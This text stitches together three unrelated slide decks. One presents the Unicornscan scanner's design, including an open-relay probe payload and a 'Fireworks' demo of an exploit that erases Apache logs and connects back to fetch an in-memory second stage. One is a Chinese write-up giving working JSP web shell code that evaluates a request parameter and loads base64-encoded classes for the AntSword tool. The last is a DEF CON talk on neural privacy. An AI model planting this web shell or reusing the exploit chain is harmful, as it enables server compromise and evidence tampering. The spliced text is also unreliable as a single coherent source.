Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Architecture
3 processes (NOT THREADS)
Why? - No safe way to do SoD with threads (due to the
sharing of memory).
There is no good reason to share memory
Sender (It sends packets)
Batch Sender
Immediate Sender
Listener (It Sniffs)
Master (It does everything else)
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Sequence Number Encoding
Stateless TCP scanning that can support TCP streams:
#define TCPHASHTRACK(srcip, srcport, dstport, syncookie)
((syncookie) ˆ ((srcip) ˆ ((srcport) << 16) + (dstport) )))
With something so simple we can do TCP connections
because the algorithm is NOT one way.
Without this there would be an IPC message for every
packet received.
We don’t have an entry in our state table until after we
receive a response (SYN+ACK)
Normal TCP/IP stacks would use a state table entry after
sending the initial SYN
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Internal Steps for a Syn Scan
How a Scan Works: (example, cluster mode is different,
obviously)
Simple 30 step process to running a port scan. (for a basic
SYN scan running on one host)
1
User invokes scanner via command line.
2
Scanner reads configuration file.
3
Scanner walks command line options (overriding
configuration file).
4
Master process opens shared library modules.
5
Master Process figures out that it needs to fork children.
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Internal Steps for a Syn Scan
6
Master Process forks a sender process and records its
creation information.
7
Sender Process opens Unix domain socket and awaits
master connection.
8
Master thread awaits signals from both children.
9
Master connects to sender and sends an IDENT message.
10 Sender and Listener send back IDENT_SENDER and
IDENT_LISTENER message respectively.
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Internal Steps for a Syn Scan
11 Master Process forks listener process and records its
creation information.
12 Listener Process opens Unix domain socket and awaits
master connection.
13 Master ACKS both messages.
14 Sender opens up configuration file and shared libraries
looking for UDP payloads.
15 Listener opens pcap interface, looks up interface
information, and attempts to drop privs.
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Internal Steps for a Syn Scan
16 Sender sends back READY message to Master.
17 Listener sends back READY message with listeners
interface information included.
18 Master considers information from Listener and prepares
workunit information.
19 Master sends Listener a "sniffing" workunit, including a
pcap filter string, etc.
20 Listener gets "sniffing" workunit and responds with a
READY message after processing it.
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Internal Steps for a Syn Scan
21 Listener goes into loop polling pcap and IPC file descriptor.
22 Master sends Sender a "batch" workunit containing a
‘large’ unit of work to perform.
23 Sender creates a linked list of function pointers to loop on
and goes into a batch loop.
24 Master goes into loop reading Sender and Listener file
descriptors (mostly from the listener), recording information
that it was asked to record.
25 Sender finishes work loop, and sends a WORKDONE
message back to the Master.
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Internal Steps for a Syn Scan
26 Master checks if it has more work, but does not so goes
into a scan timeout state.
27 Master goes into reporting state after timeout finishes,
perhaps recording information and displaying it.
28 Master tells Sender to QUIT.
29 Master tells Listener to QUIT.
30 Master awaits the 2 SIGCHLD signals, and itself exits.
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
TCP Stream Stuff
Normal stacks are designed for situations where you know
all of the Source_IP,Source_port:Dest_IP,Dest_Port
combinations that you will want to use.
Unicornscan’s stack was designed for situations where you
know the Source_IP,Source_port side, but have a large list
of Dest_IP,Dest_Port possibilities.
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
TCP Stream Stuff
This is because we don’t know who we are going to
connect to, or how many things we are going to connect to.
We don’t have a fixed size table because we have _no_
idea how big its going to get
We should assume that O(log2N)’ish is better than O(1) if
we don’t have bounds (worst case)
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
State Table Math
Why?
We can only have O(1) if we know the size of our data set,
we do not. If we have fixed sized tables, we need to guess
high, even though we generally wont fill the table (we don’t
know our endpoints, once again)
Some Numbers for entire Internet on one port:
Table: 2 ˆ 32 * sizeof(key) = 4294967296 * 8 =
34,359,738,368 bytes
Or roughly 32GB
(that’s just for the index keys)
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
State Table Math
If that seems silly to you, understand that devices that do 3way
handshakes for every address and port (cellphone networks,
DDoS Protection, etc) are becoming more common. While we
will do a 3 way handshake, we will not actually transfer data on
every connection, we need to find a middle ground.
We need to be able to withstand networks that have fake
3way handshakes and ones that do not.
We need an adaptable method that only uses memory
when it needs to, without throwing away performance.
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
TCP State Tracking
We use a binary tree (red-black balancing) as a good
compromise, however this is easy to change inside the code,
and in the future possibly heuristic detection can switch from a
O(1) table to a binary tree on the fly when it detects trouble.
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
TCP State Tracking
Some numbers from an overloaded state table (average out of
10, input was mostly random)
objects from (rbtree.o chtbl.o) code were linked into test
harness for measurement
(rdtsc was inlined before and after calls to measured
functions)
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
TCP State Tracking
CPU:
Intel Celeron(R) M at 1.4 Ghz with 1M of L2 cache
and 32K of I/D L1 cache.
Compiler:
GNU gcc 3.3.4 (CFLAGS -O2) / Binutils 2.15.92.0.2
OS:
GNU/Linux 2.6.12
804a158:
0f 31
rdtsc
...
804a176:
e8 65 fa ff ff
call
8049be0 <chtfind>
...
804a158:
0f 31
rdtsc
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
TCP State Tracking
(65536 Items, in 73189 Slots CHT load factor of 1.12)
RB Tree insert: 2426
RB Tree search: 2068
CHT insert : 571
CHT search : 466
(65536 Items, in 4673 Slots CHT load factor of 14.02)
RB Tree insert: 2528
RB Tree search: 1950
CHT insert : 4267
CHT search : 3924
(65536 Items, in 313 Slots CHT load factor of 209.38)
RB Tree insert: 2577
Tree search: 1875
CHT insert :55294
CHT search :50769
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
TCP State Tracking - Future
Future improvements will likely include a hybrid MFU (not
MRU) table cache in front of the rbtree.
Why?
we need to avoid caching RST+ACK’s (most frequent
situation is a port to be closed, and we still need to report
this condition)
IPC is currently via Unix domain sockets or TCP sockets
(more transports can be added)
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
payloads.conf
/* pc anywhere */
udp 5632 -1 1 {
"NQ"
};
udp 5632 -1 1 {
"ST"
};
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
payloads.conf - Cont
/* Open Relay */
tcp 25 -1 1 {
"HELO FOO\r\n"
"Mail From: [email protected]\r\n"
"Rcpt To: [email protected]\r\n"
"Data\r\n"
"Subject: Testing for Open Relay\r\n"
"\r\n"
"This is only a test\r\n"
".\r\n"
"\r\n"
"\r\n"
};
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
HTTP HEAD Request Source
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
HTTP GET Request In Action
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
All Ports Open - Nmap
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
All Ports Open - Unicornscan
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Static Payload Example
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Static Payload Example - Cont
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Fireworks
1
TCP Connect Scan
2
If port 80 syn/ack’s, perform OS detection
3
3-way handshake completes
4
Unicornscan generates a metamorphic 1st stage encoder
before encoding the OS specific stage 1 exploit payload
5
Payload sent
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Fireworks - Cont
6
If successful
Truncate Apache error log
Create a socket
Connect back to a pre-arranged address
Tell the pre-arranged address what platform it is
Ask the pre-arranged address for OS specific stage 2
mmap a memory area that is writable and executable
read from the 2nd stage server while writing
then transfer control to the 2nd stage code
Will not write to the disk
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Recapitulation
What did I just see?
A new method for TCP state tracking (Scatter Connect)
Unicornscan is a distributed Stimulus/Response framework
(not a port scanner)
Or to quote Winhat:
If x=4 and y=8, then I just wasted your time because I rule!
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
The End
Thank you for your time.
For more information, see:
http://www.unicornscan.org
Or just write us:
Jack at dyadsecurity dot com
Robert at dyadsecurity dot com
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc. | pdf |
1
新型句话连接原有句话
@yzddMr6
1.jsp
Payload
密码test
1 <%@ page import="javax.script.ScriptEngineManager" %>
2 <%@ page import="javax.script.ScriptEngine" %><%
3 try {
4 ScriptEngine engine = new ScriptEngineManager().getEngine
ByName("js");
5 engine.put("request", request);
6 engine.put("response", response);
7 engine.eval(request.getParameter("mr6"));
8 } catch (Exception e) {
9 System.out.println("error: "+e);;
10 }
11 %>
1 try {
2 load("nashorn:mozilla_compat.js");
3 } catch (e) {}
4 importPackage(Packages.java.util);
5 importPackage(Packages.java.lang);
6 importPackage(Packages.java.io);
7 var output = new StringBuffer("");
8 var cs = "UTF-8";
9 response.setContentType("text/html");
10 request.setCharacterEncoding(cs);
11 response.setCharacterEncoding(cs);
12 function Base64DecodeToByte(str) {
13 importPackage(Packages.sun.misc);
14 importPackage(Packages.java.util);
15 var bt;
2
添加到蚁剑参数⾥
16 try {
17 bt = new BASE64Decoder().decodeBuffer(str);
18 } catch (e) {
19 bt = new Base64().getDecoder().decode(str);
20 }
21 return bt;
22 }
23 function defineShell(cls) {
24 var payload = Base64DecodeToByte(cls);
25 var loader = Thread.currentThread().getContextClassLoader();
26 var byteArray = Java.type("byte[]");
27 var int = Java.type("int");
28 var defineMethod = java.lang.ClassLoader.class.getDeclaredMetho
d(
29 "defineClass",
30 byteArray.class,
31 int.class,
32 int.class
33 );
34 defineMethod.setAccessible(true);
35 var constructor =
36 java.security.SecureClassLoader.class.getDeclaredConstructor(
37 ClassLoader.class
38 );
39 constructor.setAccessible(true);
40 var cl = constructor.newInstance(loader);
41 var c = defineMethod.invoke(cl, payload, 0, payload.length);
42 c.newInstance().equals(request);
43 }
44 defineShell(request.getParameter("test"));
3
修改密码为test,使⽤原有类型连接,连接成功
可以使⽤As-Exploits插件所有功能
4 | pdf |
Hacking Your Thoughts:
Batman Forever meets Black Mirror
Katherine Pratt
DEFCON 27
10 Aug 19
The Standard Disclaimer
The work in this presentation was done at the University of Washington as
part of a PhD dissertation. The results and views presented here do not
necessarily represent those of my funding sources or my current employer.
2
3
PLEASE NOTE:
There is a difference between telepathy
and targeted elicitation of information.
4
PLEASE NOTE:
There is a difference between telepathy
and targeted elicitation of information.
Things NOT Covered by This Presentation
• Aliens are not involved
• I know nothing about any chips that the government has implanted
5
Summary of Presentation
• Motivating the research
• Some experimental result
• Do consumers care about their neural privacy?
• Thoughts about proactive policy solutions
• What do I want all of you to do?
6
Motivating the Research
7
Data in the 21st Century
• Targeted advertising and consumer profiles are a boon for
commercialism, but require massive amounts of data
8
Data in the 21st Century
• Targeted advertising and consumer profiles are a boon for
commercialism, but require massive amounts of data
• Companies are searching for more ways to learn about
consumers, including finding untapped sources of data
9
Data in the 21st Century
• Targeted advertising and consumer profiles are a boon for
commercialism, but require massive amounts of data
• Companies are searching for more ways to learn about
consumers, including finding untapped sources of data
• Obtaining biometrics, or bodily-based information, is
becoming feasible with wearables and smartphones
10
Data in the 21st Century
• Targeted advertising and consumer profiles are a boon for
commercialism, but require massive amounts of data
• Companies are searching for more ways to learn about
consumers, including finding untapped sources of data
• Obtaining biometrics, or bodily-based information, is
becoming feasible with wearables and smartphones
• Another source of biometric information could come from
the brain
11
12
IMDb
You've sucked Gotham's brain
waves and now you've devised a
way to read minds!
You betcha! Soon my little "Box" will be
on countless TVs around the world.
Feeding me, credit card numbers, bank
codes, sexual fantasies, and little white lies.
IMDb
IMDb
13
14
Mandatory disclosure of
neural information
Discrimination based on
refusal to use technology
IMDb
IMDb
IMDb
IEEE Spectrum
Science Fiction Becomes Science Fact
15
IEEE Spectrum
Science Fiction Becomes Science Fact
16
Neuralink via
Scientific American
IEEE Spectrum
Science Fiction Becomes Science Fact
17
Neuralink via
Scientific American
Gunshow Comic, KC Green
You Are Here
18
Definitions Before We Get Started
• Brain Computer Interfaces (BCIs): can record brain activity
while an individual is performing different actions (for example,
blinking their eyes, playing a video game, or texting on a
phone). BCIs are often used to give a user control of a
computer using their brain activity.
19
Definitions Before We Get Started
• Brain Computer Interfaces (BCIs): can record brain activity
while an individual is performing different actions (for example,
blinking their eyes, playing a video game, or texting on a
phone). BCIs are often used to give a user control of a
computer using their brain activity.
• Targeted elicitation: showing specific stimuli in order to
obtain a particular response
20
How Do You Get The
Information Out?
What kinds of information can be determined from
elicited neural information?
21
Neural Signal of Interest:
Electroencephalography (EEG)
• Electrical signals in the brain can
be recorded
• Invasive
• Surgically placed electrodes on scalp
or in brain tissue
• For medical purposes only
• Non-invasive EEG
• Great temporal accuracy (know
when a signal happens), ideal for
recording Event Related Potentials
• Extensive relevant literature
OpenBCI
22
Guilty Knowledge Test:
P300 “Oddball” Response
23
Guilty Knowledge Test:
P300 “Oddball” Response
24
Guilty Knowledge Test:
P300 “Oddball” Response
25
26
Guilty Knowledge Test:
P300 “Oddball” Response
27
Guilty Knowledge Test:
P300 “Oddball” Response
28
Guilty Knowledge Test:
P300 “Oddball” Response
29
Guilty Knowledge Test:
P300 “Oddball” Response
30
Guilty Knowledge Test:
P300 “Oddball” Response
31
Guilty Knowledge Test:
P300 “Oddball” Response
Accomplishments from the Literature
• Proof of concept as a side-channel attack using overt stimuli
(Martinovic et al, 2012)
32
Accomplishments from the Literature
• Proof of concept as a side-channel attack using overt stimuli
(Martinovic et al, 2012)
• Elicitation of information using subliminal stimuli (Frank et al, 2013)
33
Accomplishments from the Literature
• Proof of concept as a side-channel attack using overt stimuli
(Martinovic et al, 2012)
• Elicitation of information using subliminal stimuli (Frank et al, 2013)
• Identifying brand preference in a video game (Bonaci, 2015)
34
Accomplishments from the Literature
• Proof of concept as a side-channel attack using overt stimuli
(Martinovic et al, 2012)
• Elicitation of information using subliminal stimuli (Frank et al, 2013)
• Identifying brand preference in a video game (Bonaci, 2015)
• Elicitation of a PIN number (Lange et al, 2016)
35
Experiment: Number Elicitation
• 10 subjects total (8 male, 2 female, average age 31.3
minus one subject who did not provide age)
• Analyzed 7 subjects
• 10 total rounds per subject, with subject-determined
breaks in between each round
• At the beginning of each round, the subject selects a
number, then looks at 200 pseudorandom digit stimuli
(20 x 10 digits)
• 5 of 7 analyzed subjects did counterbalanced attention
sessions (pressing the space bar)
36
Trial Timeline
37
Three Different Kinds of Results
• Overall effectiveness in identifying subject’s chosen digit
• Effect of attention on correctly identifying subject’s digit
• Determining current versus future digits (intention)
38
1. Overall effectiveness in identifying subject’s
chosen digit
For all but one subject, the
computer correctly calculated
the correct digit 2-3 times for
the 10 experimental sessions.
39
1. Overall effectiveness in identifying subject’s
chosen digit
For all but one subject, the
computer correctly calculated
the correct digit 2-3 times for
the 10 experimental sessions.
40
Human
Guess
3
2
8
6
0
8
2
1
5
5
1
1
8
9
9
4
6
6
6
3
2. Effect of attention on correctly identifying
subject’s digit
• For space-bar rounds (attention), the target digit was calculated
8/25 times
• For non-spacebar rounds (passive), the target digit was
calculated 6/45 times
41
3. Determining current versus future
digits (intention)
• The number the subject was going to
pick *for the next round* was calculated
almost as many times as the number for
the current round (13 vs 14)
• The number of correct future guesses
varied by subject (not consistent)
• The odds ratio of calculating the next
digit compared to the current digit is 1.04
42
3. Determining current versus future
digits (intention)
• The number the subject was going to
pick *for the next round* was calculated
almost as many times as the number for
the current round (13 vs 14)
• The number of correct future guesses
varied by subject (not consistent)
• The odds ratio of calculating the next
digit compared to the current digit is 1.04
43
Human
Guess
6
9
3
3
8
9
2
7
0
9
7
9
4
2
9
4
6
6
5
8
Human
Guess
3
5
7
5
5
1
5
7
9
9
9
2
2
8
2
4
4
4
4
1
This is scary to researchers, but do
people *really* care about having
their brain signals elicited?...
What do consumers think of neural privacy?
44
What Is Being Protected?
• What I’m interested in: quantifiable information that is determined from
a combination of EEG and relevant environmental stimuli
• Raw, original neural signals without context are much less informative
45
46
Issues to Consider in Defining Neural Privacy
1. Is privacy a right or an interest?
47
Issues to Consider in Defining Neural Privacy
1. Is privacy a right or an interest?
2. Do we own our own thoughts?
48
Issues to Consider in Defining Neural Privacy
1. Is privacy a right or an interest?
2. Do we own our own thoughts?
3. What relationship do we have with those who elicit
information neutrally?
49
Issues to Consider in Defining Neural Privacy
1. Is privacy a right or an interest?
2. Do we own our own thoughts?
3. What relationship do we have with those who elicit
information neutrally?
4. The importance of trust
50
Defining Neural Privacy
• We all should have an interest in protecting our neural privacy, but
require additional legal frameworks to make it a right
51
Defining Neural Privacy
• We all should have an interest in protecting our neural privacy, but
require additional legal frameworks to make it a right
• Defining and ascribing ownership is necessary to provide value to what is
being elicited (controlling a video game vs monitoring emotions)
52
Defining Neural Privacy
• We all should have an interest in protecting our neural privacy, but
require additional legal frameworks to make it a right
• Defining and ascribing ownership is necessary to provide value to what is
being elicited (controlling a video game vs monitoring emotions)
• Users should be able to trust that the information taken from elicited
neural signals by a company will be used and interpreted properly,
making the relationship between user and company an intimate one
53
Neuroethics Survey
• Distributed online
• Responses taken for 24 days
• 77 respondents
• 46 Female, 27 Male, 3 other
(nonbinary, genderqueer, born
female), 1 no resp.
• Average age 39.7, median 35.5
• 18 indicated mobility impairment
54
National Gallery of Art
Who/What is Taking Your Information?
55
Who/What is Taking Your Information?
56
Who/What is Taking Your Information?
57
Who/What is Taking Your Information?
58
?
Content
Video
Brain Activity
Neural Planning
Emotions
Summary of Results:
Who/What is Taking Your Information
•
Person procurement of neural planning information is a
statistically significant privacy violation over the app
•
Mobility status does not statistically impact perceptions of
neural privacy in these scenarios
59
Trust and
Willingness
60
Food
Physical and mental state
Attraction
Political views
61
Food
Physical and mental state
Attraction
Political views
Trustworthiness?
Willingness?
Trust and
Willingness
62
Extremely Unwilling/
Untrustworthy
Extremely Willing/
Trustworthy
63
Extremely Unwilling/
Untrustworthy
Extremely Willing/
Trustworthy
Size/bureaucracy decrease willingness and trust to share
neural information
What’s More Important?
• Fitbit or similar exercise tracker
• Record of my personal medical
history (e.g. at your doctor's office)
• Genetic information from a
company like 23andMe
• Online shopping history
• Monthly credit card statement
• Journal/diary
64
>
=
<
Is your neural information…
65
66
Neural and bodily information are similar
What are potential policy and
regulatory implications?
Is there anything we can do about this?
67
Are there any legal precedents?
• 2008 Genetic Information Non-Discrimination Act
“… establishing a national and uniform basic standard is necessary to fully protect
the public from discrimination and allay their concerns about the potential for
discrimination, thereby allowing individuals to take advantage of genetic testing,
technologies, research, and new therapies”
68
Are there any legal precedents?
• 2008 Genetic Information Non-Discrimination Act
“… establishing a national and uniform basic standard is necessary to fully protect
the public from discrimination and allay their concerns about the potential for
discrimination, thereby allowing individuals to take advantage of genetic testing,
technologies, research, and new therapies”
• Life Insurance
• John Hancock only offering “interactive” life insurance starting in 2019
• Insurance companies in New York can monitor social media to set premiums
69
What is the Legal Harm of Elicited Information?
• Few states have laws specifically limiting collection and use of
biometric information
• Texas (Business and Commerce Code, Title 11.A Ch 503)
• Washington (Chapter 19.375 RCW)
• Illinois (740 ILCS 14/)
70
What is the Legal Harm of Elicited Information?
• Few states have laws specifically limiting collection and use of
biometric information
• Texas (Business and Commerce Code, Title 11.A Ch 503)
• Washington (Chapter 19.375 RCW)
• Illinois (740 ILCS 14/)
• Rosenbach v Six Flags
• Mother purchased season pass for son, without knowing that son would have to
provide fingerprint to complete purchase at park
• Six Flags was in violation of IL law requiring consent and retention policies
• State Supreme Court ruled that failure to follow statute was a harm
71
(Final questions from last section’s neuroethics survey)
Who…
• User
• University Researcher
• Independent Regulatory Organization
• Legislators
• Device Manufacturers
…for BCIs, compared to current
involvement
• Development oversight
• Use
• Reparations for malicious
elicitation or misuse
72
Who Should Be In Charge of Regulation and When?
Summary of Results:
Policy and Responsibility
• Independent Regulatory Organizations, Legislators, and Device
Manufacturers should be more involved going from development to
reparations for misuse
• Users should be least involved in reparations from misuse, while Device
Manufacturers should be the most involved
73
Examples of Policy Solutions
• Increased involvement by legislators with reparations for malicious
elicitation or misuse
• Federal or state-level right to neural privacy legislation (or broader
generic/biometric data privacy legislation)
• Provide reparations by statute (monetary, private right of action, etc.)
• Empower regulatory agencies like the FTC
74
Examples of Policy Solutions
• Increased involvement by legislators with reparations for malicious
elicitation or misuse
• Federal or state-level right to neural privacy legislation (or broader
generic/biometric data privacy legislation)
• Provide reparations by statute (monetary, private right of action, etc.)
• Empower regulatory agencies like the FTC
• Involving Independent Regulatory Organizations
75
Examples of Policy Solutions
• Increased involvement by legislators with reparations for malicious
elicitation or misuse
• Federal or state-level right to neural privacy legislation (or broader
generic/biometric data privacy legislation)
• Provide reparations by statute (monetary, private right of action, etc.)
• Empower regulatory agencies like the FTC
• Involving Independent Regulatory Organizations
• Accountability for device manufacturers
76
Examples of Policy Solutions
• Increased involvement by legislators with reparations for malicious
elicitation or misuse
• Federal or state-level right to neural privacy legislation (or broader
generic/biometric data privacy legislation)
• Provide reparations by statute (monetary, private right of action, etc.)
• Empower regulatory agencies like the FTC
• Involving Independent Regulatory Organizations
• Accountability for device manufacturers
• Overall, how do consumers understand the risks of using a device?
77
Here’s My Ask of You
The Main Takeaways
78
To the Developers in the Room
• Just because you can doesn’t mean you should
79
To the Developers in the Room
• Just because you can doesn’t mean you should
• Ask yourself what problem you’re solving, how else you can obtain that
information, and what is the least amount of information you need to
complete a particular task
80
To the Developers in the Room
• Just because you can doesn’t mean you should
• Ask yourself what problem you’re solving, how else you can obtain that
information, and what is the least amount of information you need to
complete a particular task
• Do as much processing as possible locally/on device
81
To the Privacy-Conscious in the Room
• Just don’t use these kinds of devices
82
To the Privacy-Conscious in the Room
• Just don’t use these kinds of devices
• You may feel better with a slower screen refresh rate to prevent
subliminal elicitation
83
To the Privacy-Conscious in the Room
• Just don’t use these kinds of devices
• You may feel better with a slower screen refresh rate to prevent
subliminal elicitation
• Ask for comprehensive US federal data privacy legislation
84
To the Privacy-Conscious in the Room
• Just don’t use these kinds of devices
• You may feel better with a slower screen refresh rate to prevent
subliminal elicitation
• Ask for comprehensive US federal data privacy legislation
• Read the terms of service to find out what is happening to your
biometric information
85
To the 3-Letter Agencies in the Room
• (Yes, I know you’re here)
86
To the 3-Letter Agencies in the Room
• (Yes, I know you’re here)
• If you’re even thinking about using this kind of technique for
interrogation, you must come to terms with some serious ethical and
legal questions
87
To the 3-Letter Agencies in the Room
• (Yes, I know you’re here)
• If you’re even thinking about using this kind of technique for
interrogation, you must come to terms with some serious ethical and
legal questions
• This technology is still in its infancy and should not be considered the
ultimate solution to any problem
88
To the 3-Letter Agencies in the Room
• (Yes, I know you’re here)
• If you’re even thinking about using this kind of technique for
interrogation, you must come to terms with some serious ethical and
legal questions
• This technology is still in its infancy and should not be considered the
ultimate solution to any problem
• Existing neural imaging (like fMRI) isn’t admissible as evidence in US
court because it is still considered an emerging and unproven technology
89
To the 3-Letter Agencies in the Room
• (Yes, I know you’re here)
• If you’re even thinking about using this kind of technique for
interrogation, you must come to terms with some serious ethical and
legal questions
• This technology is still in its infancy and should not be considered the
ultimate solution to any problem
• Existing neural imaging (like fMRI) isn’t admissible as evidence in US
court because it is still considered an emerging and unproven technology
• Scientists got statistically significant results from a dead salmon in an
fMRI, so how do you know that you’re actually getting good intelligence?
90
Time for Questions?
[email protected]
@GattaKat
91
Backup Slides
92
1. Is Privacy a Right or an Interest? Part 1
• The term “right” is often synonymous with a guarantee,
even if there is no legal remedy for an infraction or harm
93
1. Is Privacy a Right or an Interest? Part 1
• The term “right” is often synonymous with a guarantee,
even if there is no legal remedy for an infraction or harm
• There is renewed interest in a right to privacy given our
current internet ecosystem and the lack of control over
our information
94
1. Is Privacy a Right or an Interest? Part 1
• The term “right” is often synonymous with a guarantee,
even if there is no legal remedy for an infraction or harm
• There is renewed interest in a right to privacy given our
current internet ecosystem and the lack of control over
our information
• Without appropriate remedies, there is no right
95
1. Is Privacy a Right or an Interest? Part 1
• The term “right” is often synonymous with a guarantee,
even if there is no legal remedy for an infraction or harm
• There is renewed interest in a right to privacy given our
current internet ecosystem and the lack of control over
our information
• Without appropriate remedies, there is no right
• Is there different language we can use to describe what we
are owed, if anything, with respect to our privacy?
96
1. Is Privacy a Right or an Interest? Part 2
• Thomson: There is no right to privacy—rather, what we think
of as a right to privacy is just a collection of different, but
related, rights
97
1. Is Privacy a Right or an Interest? Part 2
• Thomson: There is no right to privacy—rather, what we think
of as a right to privacy is just a collection of different, but
related, rights
• DeCew: If privacy is instead an interest, it can still be protected
or invaded, and discussed without justifying why or how it
should be observed
98
1. Is Privacy a Right or an Interest? Part 2
• Thomson: There is no right to privacy—rather, what we think
of as a right to privacy is just a collection of different, but
related, rights
• DeCew: If privacy is instead an interest, it can still be protected
or invaded, and discussed without justifying why or how it
should be observed
• The fact that there is no overarching and defined statutory right
to privacy means it will continue to be infringed upon like an
interest, or ignored
99
2. Do We Own Our Own Thoughts?
• Is ownership necessary to assert privacy claim? Inness says no
100
2. Do We Own Our Own Thoughts?
• Is ownership necessary to assert privacy claim? Inness says no
• The construct of ownership may only be necessary if there is a value
(monetary or otherwise) to the thought
101
2. Do We Own Our Own Thoughts?
• Is ownership necessary to assert privacy claim? Inness says no
• The construct of ownership may only be necessary if there is a value
(monetary or otherwise) to the thought
• It may be difficult to know the value of a “thought” until something is
done with it
102
2. Do We Own Our Own Thoughts?
• Is ownership necessary to assert privacy claim? Inness says no
• The construct of ownership may only be necessary if there is a value
(monetary or otherwise) to the thought
• It may be difficult to know the value of a “thought” until something is
done with it
• If ownership is assigned:
• It’s easier to create a legal construct to protect the person eliciting information,
and the company receiving it
• But it’s also more difficult of the wrong information is elicited
103
2. Do We Own Our Own Thoughts?
• Is ownership necessary to assert privacy claim? Inness says no
• The construct of ownership may only be necessary if there is a value
(monetary or otherwise) to the thought
• It may be difficult to know the value of a “thought” until something is
done with it
• If ownership is assigned:
• It’s easier to create a legal construct to protect the person eliciting information,
and the company receiving it
• But it’s also more difficult of the wrong information is elicited
• The purpose for eliciting information should be important to questions
of ownership
104
3. What Relationship Do We Have With Those
Who Elicit Information Neurally?
• Defining the relationship between the user and the company
105
3. What Relationship Do We Have With Those
Who Elicit Information Neurally?
• Defining the relationship between the user and the company
• Intimacy: specification that choice is involved on the part of the agent
providing information, and that the value comes from the original
relationship one has with the information (Inness)
106
3. What Relationship Do We Have With Those
Who Elicit Information Neurally?
• Defining the relationship between the user and the company
• Intimacy: specification that choice is involved on the part of the agent
providing information, and that the value comes from the original
relationship one has with the information (Inness)
• When information is elicited not by choice, the violation of privacy can
be linked to a lack of acknowledging that the sharing of information is in
fact a relationship
107
4. The Importance of Trust
• Lack of trust may no longer be an adequate deterrent to a company’s
malevolent behavior
